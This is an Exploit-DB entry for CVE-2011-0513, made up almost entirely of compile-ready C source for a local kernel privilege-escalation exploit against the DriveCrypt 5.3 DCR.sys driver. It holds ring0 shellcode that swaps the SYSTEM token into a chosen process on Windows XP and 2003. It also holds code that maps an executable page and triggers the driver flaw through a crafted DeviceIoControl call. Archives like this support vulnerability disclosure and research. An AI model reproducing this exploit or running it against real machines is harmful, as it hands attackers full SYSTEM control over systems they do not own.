DriveCrypt <= 5.3 - Local Kernel ring0 SYSTEM Exploit

2011-01-11T00:00:00
ID EDB-ID:15972
Type exploitdb
Reporter mu-b
Modified 2011-01-11T00:00:00

Description

DriveCrypt <= 5.3 - Local Kernel ring0 SYSTEM Exploit. CVE-2011-0513. Local exploit for windows platform

                                        
                                            /* drivecrypt-dcr.c
 *
 * Copyright (c) 2009 by &lt;mu-b@digit-labs.org&gt;
 *
 * DriveCrypt &lt;= 5.3 local kernel ring0 SYSTEM exploit
 * by mu-b - Sun 16 Aug 2009
 *
 * - Tested on: DCR.sys
 *
 * Compile: MinGW + -lntdll
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#include &lt;windows.h&gt;
#include &lt;ddk/ntapi.h&gt;

#define DCR_IOCTL   0x00073800

static unsigned char win32_fixup[] =
  "\x89\xe5"
  "\x81\xc5\xb4\x0c\x00\x00";

/* Win2k3 SP1/2 - kernel EPROCESS token switcher
 * by mu-b &lt;mu-b@digit-lab.org&gt;
 */
static unsigned char win2k3_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\xb0\x18\x02\x00\x00"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xd8\x00\x00\x00"
  "\x89\x88\xd8\x00\x00\x00"
  "\x90";

static unsigned char winxp_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\x70\x44"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xc8\x00\x00\x00"
  "\x89\x88\xc8\x00\x00\x00"
  "\x90";

static unsigned char win32_ret[] =
  "\xb8\x63\x39\x01\x00"
  "\xff\xe0";

struct ioctl_req {
  int action;
  int flag;
  char *arg1;
  char pad[0x0C];
  char *arg2;
  char _pad[0x0C];
  void *ptr;
};

static PCHAR
fixup_ring0_shell (PVOID base, DWORD ppid, DWORD *zlen)
{
  DWORD dwVersion, dwMajorVersion, dwMinorVersion;

  dwVersion = GetVersion ();
  dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
  dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

  if (dwMajorVersion != 5)
    {
      fprintf (stderr, "* GetVersion, unsupported version\n");
      exit (EXIT_FAILURE);
    }

  *(PDWORD) &win32_ret[1] += (DWORD) base;

  switch (dwMinorVersion)
    {
      case 1:
        *zlen = sizeof winxp_ring0_shell - 1;
        *(PDWORD) &winxp_ring0_shell[55] = ppid;
        return (winxp_ring0_shell);

      case 2:
        *zlen = sizeof win2k3_ring0_shell - 1;
        *(PDWORD) &win2k3_ring0_shell[58] = ppid;
        return (win2k3_ring0_shell);

      default:
        fprintf (stderr, "* GetVersion, unsupported version\n");
        exit (EXIT_FAILURE);
    }

  return (NULL);
}

static PVOID
get_module_base (void)
{
  PSYSTEM_MODULE_INFORMATION_ENTRY pModuleBase;
  PSYSTEM_MODULE_INFORMATION pModuleInfo;
  DWORD i, num_modules, status, rlen;
  PVOID result;

  status = NtQuerySystemInformation (SystemModuleInformation, NULL, 0, &rlen);
  if (status != STATUS_INFO_LENGTH_MISMATCH)
    {
      fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status);
      exit (EXIT_FAILURE);
    }

  pModuleInfo = (PSYSTEM_MODULE_INFORMATION) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, rlen);

  status = NtQuerySystemInformation (SystemModuleInformation, pModuleInfo, rlen, &rlen);
  if (status != STATUS_SUCCESS)
    {
      fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status);
      exit (EXIT_FAILURE);
    }

  num_modules = pModuleInfo-&gt;Count;
  pModuleBase = &pModuleInfo-&gt;Module[0];
  result = NULL;

  for (i = 0; i &lt; num_modules; i++, pModuleBase++)
    if (strstr (pModuleBase-&gt;ImageName, "DCR.sys"))
      {
        result = pModuleBase-&gt;Base;
        break;
      }

  HeapFree (GetProcessHeap (), HEAP_NO_SERIALIZE, pModuleInfo);

  return (result);
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  CHAR buf[1024], buf1[8], buf2[0x88+1];
  DWORD rlen, zlen, ppid;
  LPVOID zpage, zbuf, base;
  HANDLE hFile;
  BOOL result;

  printf ("DriveCrypt &lt;= 5.3 local kernel ring0 SYSTEM exploit\n"
          "by: &lt;mu-b@digit-labs.org&gt;\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n");

  if (argc &lt;= 1)
    {
      fprintf (stderr, "Usage: %s &lt;processid to elevate&gt;\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  ppid = atoi (argv[1]);

  hFile = CreateFileA ("\\\\.\\DCR", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0, sizeof req);
  req.action = 0x153;
  req.flag = 0;
  req.ptr = buf;

  printf ("* enabling driver...\n");
  result = DeviceIoControl (hFile, DCR_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("** version: 0x%08X [%s], %s\n", *(int *) &buf[8], &buf[12], &buf[19]);
  printf ("* done\n");

  zpage = VirtualAlloc ((LPVOID) 0x610000, 0x10000,
                        MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (zpage == NULL)
    {
      fprintf (stderr, "* VirtualAlloc failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("* allocated page: 0x%08X [%d-bytes]\n",
          zpage, 0x10000);

  base = get_module_base ();
  if (base == NULL)
    {
      fprintf (stderr, "* unable to find DCR.sys base\n");
      exit (EXIT_FAILURE);
    }
  printf ("* DCR.sys base: 0x%08X\n", base);

  memset (zpage, 0xCC, 0x10000);
  zbuf = fixup_ring0_shell (base, ppid, &zlen);
  memcpy ((LPVOID) zpage + 0x61, win32_fixup, sizeof (win32_fixup) - 1);
  memcpy ((LPVOID) (zpage + 0x61 + sizeof (win32_fixup) - 1), zbuf, zlen);
  memcpy ((LPVOID) (zpage + 0x61 + sizeof (win32_fixup) + zlen - 1),
          win32_ret, sizeof (win32_ret) - 1);

  memset (&req, 0, sizeof req);
  req.action = 79;
  req.flag = 0;

  memset (buf1, 0x41, sizeof buf1);
  buf1[sizeof buf1 - 1] = 0;
  req.arg1 = buf1;

  memset (buf2, 0x61, sizeof buf2);
  buf2[sizeof buf2 - 1] = 0;
  req.arg2 = buf2;

  req.ptr = buf;

  printf ("* hitting.. ");
  fflush (stdout);

  result = DeviceIoControl (hFile, DCR_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("done\n\n"
          "* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}